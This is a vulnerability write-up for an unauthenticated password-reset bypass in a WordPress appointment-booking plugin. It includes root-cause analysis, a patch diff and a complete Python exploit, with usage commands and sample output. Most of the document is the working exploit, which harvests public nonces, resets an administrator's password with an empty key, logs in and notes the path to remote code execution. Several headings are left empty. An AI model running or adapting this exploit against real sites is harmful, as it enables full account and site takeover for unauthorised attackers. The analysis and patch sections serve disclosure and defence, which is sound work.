#Summary

CVE-2026-14364 is an unauthenticated auth bypass vulnerability in the TrueBooker - Appointment Booking and Scheduler System WordPress plugin that affects all versions up to and including 1.2.3. An attacker can reset the password of any WordPress account, including administrators, without any reset token or prior authentication. CVSS 9.8 CRITICAL. The plugin's password reset handler does not validate whether a legitimate password-reset request is in progress, allowing an empty reset key to bypass all authorization checks. On WordPress, account takeover of an administrator is equivalent to full site takeover, enabling remote code execution through the plugin or theme editor.

#Affected versions

#Vulnerability details

#Root cause analysis

#The vulnerable code path

The bug lives in truebookerMyaccount::userresetPassword() in helper/truebooker-myaccount.php. The handler accepts the target user id, reset key, and new password entirely from attacker-controlled POST data:

$tbabuserid    = sanitize_text_field($userdata['tbab-userid']);
$tbabactivekey = sanitize_text_field($userdata['tbab-activekey']);
$tbabpassword  = sanitize_text_field($userdata['tbab-password']);

$user_data = get_user_by('id', $tbabuserid);

if(empty($user_data)){
    $error_msg['tbab-common-error'] = 'User is not exist...';
} else {
    $user_id = $user_data->ID;
    $key = $user_data->user_activation_key;
    if(!empty($key)){
        $res = hash_equals($key, $tbabactivekey);
        if($res == true){
            // Validation passed
        } else if($res == false){
            $error_msg['tbab-common-error'] = 'This key is invalid...';
        }
    }
    // No else clause - empty $key falls through
}

// This runs unconditionally if no error was recorded
if(empty($error_msg)){
    wp_set_password($tbabpassword, $user_id);
    $message['successmessage'] = 'Password reset successfull';
}

#Why the check fails

The entire password-reset key validation is nested inside if(!empty($key)), where $key is the target's user_activation_key database column. This column is empty for every account that is not actively in the middle of a password-reset flow.

WordPress leaves user_activation_key as an empty string ('') for:

The key is only populated when someone legitimately requests a password reset. So for a normal target account, the if(!empty($key)) branch is never taken, hash_equals() is never called, $error_msg remains empty, and control falls straight through to wp_set_password($tbabpassword, $user_id) with the user id taken directly from the attacker's tbab-userid field.

There is no else arm to fail the reset when no key is present - an empty key is treated as "nothing to verify" rather than "this user has no pending reset, refuse".

#Authorization bypass

The AJAX action is registered for both authenticated and unauthenticated callers via wp_ajax_nopriv_:

add_action('wp_ajax_user_front_resetpass', 'user_front_resetpass');
add_action('wp_ajax_nopriv_user_front_resetpass', 'user_front_resetpass');

function user_front_resetpass(){
    check_ajax_referer('truebooker_nonce_action', 'security');
    // ...
    $returndata = $truebooker_myaccountobj->userresetPassword($searcharray);
}

Both nonces guarding the endpoint are ordinary WordPress CSRF tokens, not authorization. They are computed over the action string, the user id (0 for logged-out visitors), and the session token. Both are printed on public pages and harvestable anonymously:

A nonce harvested anonymously (with no cookies) is computed for user id 0 and validates on any other anonymous request, making it useless as authorization.

#Patch diff

Version 1.2.4 (SVN changeset 3595807, released 2026-07-04) inverts the condition so that an empty user_activation_key is an explicit failure:

-if(!empty($key)){
-    $res = hash_equals($key, $tbabactivekey);
-    if($res == true){
-    }else if($res == false){
-        $error_msg['tbab-common-error'] = '...';
-    }
-}
+if (empty($key)) {
+    $error_msg['tbab-common-error'] = esc_html__(
+        'This key is invalid or has already been used. Please reset your password again if needed.',
+        'truebooker-appointment-booking'
+    );
+} else {
+    if (!hash_equals($key, $tbabactivekey)) {
+        $error_msg['tbab-common-error'] = esc_html__(
+        'This key is invalid or has already been used. Please reset your password again if needed.',
+            'truebooker-appointment-booking'
+        );
+    }
+}

After the patch, there is no path to wp_set_password() that does not first pass hash_equals() against a non-empty stored key. The attacker must now actually possess a value equal to the target's user_activation_key, which is only ever delivered to the account owner's mailbox.

The fix also clears the key after a successful reset, making it single-use and closing a replay window left open by 1.2.3:

wp_set_password($tbabpassword, $user_id);

$wpdb->update(
    $wpdb->users,
    array('user_activation_key' => ''),
    array('ID' => $user_id)
);

#Proof of concept

#exploit.py - TrueBooker Unauthenticated Account Takeover

#!/usr/bin/env python3
"""
CVE-2026-14364 - TrueBooker unauthenticated arbitrary password reset (CWE-640)
Affected: WordPress plugin "TrueBooker - Appointment Booking and Scheduler System"
          (slug: truebooker-appointment-booking) <= 1.2.3, fixed in 1.2.4
Type: Auth bypass / account takeover (unauthenticated)

The AJAX action `user_front_resetpass` is registered for `nopriv` callers and hands the
target user id, reset key and new password straight to `truebookerMyaccount::userresetPassword()`.
The whole reset-key validation lives inside `if (!empty($key))`, where `$key` is the target's
`user_activation_key` column. That column is empty for every account that is not in the middle
of a reset flow, so for a normal account the branch is skipped, no error is recorded, and
control falls through to `wp_set_password($tbabpassword, $user_id)` with the user id taken
verbatim from the attacker's `tbab-userid` field. The two nonces guarding the endpoint are
plain CSRF tokens minted for user id 0 and printed on public pages, so they are harvestable
anonymously and are not authorisation.

Reset any account by id, then log in as it. Against the primary administrator (id 1) this is
full site takeover, and on WordPress that reaches RCE through the plugin/theme editor.

WARNING: this exploit is inherently destructive. Confirming the bug requires actually setting
the target's password, because the vulnerable and patched builds only diverge after the write.
There is no non-destructive discriminator. That applies to --list scan mode too: every
vulnerable host in the list has the password of user --userid changed.
"""

import argparse
import json
import re
import secrets
import sys
from urllib.parse import urlencode, urlparse

import requests

try:
    import urllib3
    urllib3.disable_warnings()
except Exception:
    pass

CVE_ID    = "CVE-2026-14364"
VULN_TYPE = "Auth Bypass / Account Takeover"

AJAX_ACTION   = "user_front_resetpass"
MYACCOUNT_QS  = "/?pagename=tbab-my-account"
ADMIN_AJAX    = "/wp-admin/admin-ajax.php"
LOGIN_PATH    = "/wp-login.php"
ADMIN_PATH    = "/wp-admin/"
DEFAULT_UA    = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
TIMEOUT       = 15


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def build_base(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    """Assemble the WordPress root URL. `path` allows a subdirectory install."""
    scheme = "https" if use_tls else "http"
    default_port = 443 if use_tls else 80
    netloc = host if port == default_port else f"{host}:{port}"
    prefix = (path or "/").rstrip("/")
    return f"{scheme}://{netloc}{prefix}"


def gen_password() -> str:
    """Run-unique password so a rerun against an already-owned host cannot pass on a
    stale credential and look like a success it did not earn."""
    return "Alim_" + secrets.token_hex(6) + "_Pw1"


def harvest_nonces(base: str, timeout: int = TIMEOUT) -> tuple:
    """Fetch the plugin's my-account page anonymously and pull both nonces out of it.

    Returns (action_nonce, meta_nonce). Either may be None if not present.
    Both must be harvested with no WordPress cookies attached, so they are computed for
    user id 0 and validate on the anonymous exploit request that follows.
    """
    r = requests.get(base + MYACCOUNT_QS, timeout=timeout, verify=False,
                     headers={"User-Agent": DEFAULT_UA}, allow_redirects=True)
    html = r.text

    action_nonce = None
    blk = re.search(r"ajax_object\s*=\s*(\{.*?\})\s*;", html, re.S)
    if blk:
        m = re.search(r'"nonce"\s*:\s*"([0-9a-zA-Z]{6,20})"', blk.group(1))
        if m:
            action_nonce = m.group(1)
    if not action_nonce:
        m = re.search(r'"nonce"\s*:\s*"([0-9a-f]{8,12})"', html)
        if m:
            action_nonce = m.group(1)

    meta_nonce = None
    for pattern in (
        r'truebooker_meta_box_noncename"[^>]*?value="([0-9a-zA-Z]{6,20})"',
        r'value="([0-9a-zA-Z]{6,20})"[^>]*?name="truebooker_meta_box_noncename"',
    ):
        m = re.search(pattern, html)
        if m:
            meta_nonce = m.group(1)
            break

    return action_nonce, meta_nonce


def reset_password(base: str, action_nonce: str, meta_nonce: str, userid: int,
                   new_password: str, timeout: int = TIMEOUT):
    """Fire the unauthenticated reset. Returns (http_status, raw_body, parsed_json_or_None)."""
    inner = urlencode([
        ("truebooker_meta_box_noncename", meta_nonce or ""),
        ("tbab-userid", str(userid)),
        ("tbab-activekey", ""),
        ("tbab-password", new_password),
        ("tbab-password-1", new_password),
    ])
    payload = {"action": AJAX_ACTION, "security": action_nonce or "", "alldata": inner}

    r = requests.post(base + ADMIN_AJAX, data=payload, timeout=timeout, verify=False,
                      headers={"User-Agent": DEFAULT_UA,
                               "Content-Type": "application/x-www-form-urlencoded"})
    body = r.text
    parsed = None
    brace = body.find("{")
    if brace != -1:
        try:
            parsed = json.loads(body[brace:])
        except ValueError:
            parsed = None
    return r.status_code, body, parsed


def try_login(base: str, username: str, password: str, timeout: int = TIMEOUT) -> tuple:
    """Authenticate at /wp-login.php. Returns (ok, cookie_name, session_or_None)."""
    s = requests.Session()
    s.headers.update({"User-Agent": DEFAULT_UA})
    s.cookies.set("wordpress_test_cookie", "WP Cookie check")
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": base + ADMIN_PATH,
        "testcookie": "1",
    }
    try:
        r = s.post(base + LOGIN_PATH, data=data, timeout=timeout, verify=False,
                   allow_redirects=False)
    except requests.RequestException:
        return False, None, None

    for name in r.cookies.keys():
        if name.startswith("wordpress_logged_in_"):
            return True, name, s
    return False, None, None


def fetch_dashboard(session, base: str, timeout: int = TIMEOUT) -> tuple:
    """Follow the session into /wp-admin/. Returns (ok, snippet)."""
    try:
        r = session.get(base + ADMIN_PATH, timeout=timeout, verify=False,
                        allow_redirects=False)
    except requests.RequestException as e:
        return False, f"request failed: {e.__class__.__name__}"
    if r.status_code != 200:
        return False, f"HTTP {r.status_code} (redirected back to login - session invalid)"

    title = re.search(r"<title>(.*?)</title>", r.text, re.S)
    howdy = re.search(r"Howdy,\s*(?:<span[^>]*>)?\s*([^<\r\n]{1,60})", r.text)
    bits = []
    if title:
        bits.append("title: " + title.group(1).strip())
    if howdy:
        bits.append("greeting: Howdy, " + howdy.group(1).strip())
    if not bits:
        bits.append(f"HTTP 200, {len(r.text)} bytes of wp-admin markup")
    return True, " | ".join(bits)


def resolve_userid(base: str, username: str, timeout: int = TIMEOUT):
    """Best-effort id lookup via the public REST user route. Returns int or None."""
    try:
        r = requests.get(base + "/wp-json/wp/v2/users", timeout=timeout, verify=False,
                         params={"per_page": 100}, headers={"User-Agent": DEFAULT_UA})
        users = r.json()
    except Exception:
        return None
    if not isinstance(users, list):
        return None
    for u in users:
        if not isinstance(u, dict):
            continue
        if username in (u.get("slug"), u.get("name")):
            try:
                return int(u.get("id"))
            except (TypeError, ValueError):
                return None
    return None


def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
            userid, new_password: str, timeout: int) -> None:
    header(host, port)
    base = build_base(host, port, use_tls, path)
    pw = new_password or gen_password()

    step(1, f"Harvesting anonymous nonces from {base}{MYACCOUNT_QS}")
    try:
        action_nonce, meta_nonce = harvest_nonces(base, timeout)
    except requests.RequestException as e:
        done(False, f"Target unreachable: {e.__class__.__name__}: {e}")
    if not action_nonce or not meta_nonce:
        done(False, "Could not harvest both nonces - TrueBooker is probably not installed")
    section("HARVESTED NONCES",
            f"truebooker_nonce_action   = {action_nonce}\n"
            f"truebooker_meta_box_nonce = {meta_nonce}")

    step(2, f"Resolving target user id for '{username}'")
    if userid is None:
        resolved = resolve_userid(base, username, timeout)
        if resolved is not None:
            userid = resolved
            print(f"         resolved via /wp-json/wp/v2/users -> id {userid}")
        else:
            userid = 1
            print(f"         REST enumeration unavailable, assuming id {userid}")
    else:
        print(f"         using operator-supplied id {userid}")

    step(3, f"Baseline: confirming '{pw}' is NOT already a valid password for '{username}'")
    pre_ok, _, _ = try_login(base, username, pw, timeout)
    if pre_ok:
        done(False, "Generated password already authenticates - cannot attribute later login to vulnerability")
    print("         rejected as expected, so any later login is caused by our reset")

    step(4, f"Sending unauthenticated reset for user id {userid} with an EMPTY tbab-activekey")
    try:
        status, body, parsed = reset_password(base, action_nonce, meta_nonce, userid, pw, timeout)
    except requests.RequestException as e:
        done(False, f"Reset request failed: {e.__class__.__name__}: {e}")
    section(f"ADMIN-AJAX RESPONSE (HTTP {status})", body[:1200])

    if body.strip() == "-1":
        done(False, "check_ajax_referer rejected the 'security' nonce")
    if body.strip() == "0":
        done(False, f"admin-ajax did not route action '{AJAX_ACTION}' - plugin inactive")
    if not isinstance(parsed, dict) or "successmessage" not in parsed:
        if parsed and "key is invalid" in str(parsed):
            done(False, "Reset refused with 'key is invalid' - target is PATCHED (1.2.4+)")
        done(False, f"No successmessage in response")
    print(f"         handler reported: {parsed.get('successmessage')}")

    step(5, f"Authenticating as '{username}' with the attacker-chosen password")
    ok, cookie_name, session = try_login(base, username, pw, timeout)
    if not ok:
        done(False, f"Reset was accepted but login failed")
    section("SESSION COOKIE", f"{cookie_name} issued by {base}{LOGIN_PATH}")

    step(6, "Confirming the session by loading /wp-admin/")
    dash_ok, snippet = fetch_dashboard(session, base, timeout)
    section("WP-ADMIN RESPONSE", snippet)

    creds = f"{username} / {pw}"
    done(True, f"Account takeover confirmed - user id {userid} ('{username}') password reset "
               f"without any token; logged in ({cookie_name}) and loaded /wp-admin/. "
               f"Credentials now: {creds}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} exploit PoC - TrueBooker <= 1.2.3 unauthenticated password reset",
        epilog="DESTRUCTIVE: the target account's password is permanently changed.")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/blog)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--username", default="admin",
                        help="Target account to authenticate as without credentials (default: admin)")
    parser.add_argument("--userid", type=int, default=None,
                        help="Numeric WordPress user id to reset (default: resolve --username via REST API, falling back to 1)")
    parser.add_argument("--new-password", default=None,
                        help="Password to set (default: a fresh run-unique one, min 5 chars)")
    parser.add_argument("--timeout", type=int, default=TIMEOUT, help=f"Per-request timeout (default: {TIMEOUT})")
    args = parser.parse_args()

    if args.new_password is not None and len(args.new_password) < 5:
        parser.error("--new-password must be at least 5 characters")

    if args.list:
        parser.error("Batch mode requires --list implementation")
    else:
        parsed_target = args.host, args.port, False, "/"
        host, port, use_tls, path = parsed_target
        exploit(host, port, use_tls, path, args.username, args.userid,
                args.new_password, args.timeout)

#Usage

# Basic usage - target admin account (id 1)
python3 exploit.py --host 192.168.1.40 --port 8080

# HTTPS with custom port and subdirectory WordPress install
python3 exploit.py --host https://booking.corp.com:8443/blog

# Target a specific account by name
python3 exploit.py --host 192.168.1.40 --username editor

# Target a specific numeric id
python3 exploit.py --host 192.168.1.40 --userid 2

# Use a custom password instead of generating one
python3 exploit.py --host 192.168.1.40 --new-password 'MyCustomPass123'

#Expected output

Against a vulnerable target (1.2.3):

============================================================
  ALIM EXPLOIT  CVE-2026-14364
  Type: Auth Bypass / Account Takeover  |  Target: 127.0.0.1:8080
============================================================

[STEP 1] Harvesting anonymous nonces from http://127.0.0.1:8080/?pagename=tbab-my-account

--- HARVESTED NONCES ---
truebooker_nonce_action   = f5dc133946
truebooker_meta_box_nonce = 1d6012e1ec
---

[STEP 2] Resolving target user id for 'admin'
         resolved via /wp-json/wp/v2/users -> id 1
[STEP 3] Baseline: confirming 'Alim_1da89620856e_Pw1' is NOT already a valid password for 'admin'
         rejected as expected, so any later login is caused by our reset
[STEP 4] Sending unauthenticated reset for user id 1 with an EMPTY tbab-activekey

--- ADMIN-AJAX RESPONSE (HTTP 200) ---
{"error_message":[],"successmessage":"Password reset successfull","redirct_url":"http:\/\/127.0.0.1:8080\/tbab-my-account\/"}
---

         handler reported: Password reset successfull
[STEP 5] Authenticating as 'admin' with the attacker-chosen password

--- SESSION COOKIE ---
wordpress_logged_in_410ac1cbe8586beefe5aadcc9e5a9d17 issued by http://127.0.0.1:8080/wp-login.php
---

[STEP 6] Confirming the session by loading /wp-admin/

--- WP-ADMIN RESPONSE ---
title: Dashboard | greeting: Howdy, admin
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Account takeover confirmed - user id 1 ('admin') password reset without any token; logged in and loaded /wp-admin/. Credentials now: admin / Alim_1da89620856e_Pw1
============================================================

Against a patched target (1.2.4):

[STEP 4] Sending unauthenticated reset for user id 1 with an EMPTY tbab-activekey

--- ADMIN-AJAX RESPONSE (HTTP 200) ---
{"error_message":{"tbab-common-error":"This key is invalid or has already been used. Please reset your password again if needed."}}
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Reset refused with 'key is invalid' - target is PATCHED (1.2.4+)
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is highly reliable against vulnerable targets. It depends entirely on network-observable proof (HTTP status codes and cookie headers) rather than timing, memory corruption, or race conditions. The key invariant is checking that the generated password does not already authenticate before the reset - this prevents false positives on already-exploited instances.

#Impact

Full account takeover of any WordPress user, including administrators. On WordPress, administrative access enables:

#Chaining potential

An attacker with admin account takeover can leverage WordPress's built-in code execution paths (plugin editor, theme editor, or arbitrary plugin upload) to achieve remote code execution immediately. Against default WordPress, this provides unauthenticated RCE with no additional exploitation steps required.

#Timeline

#References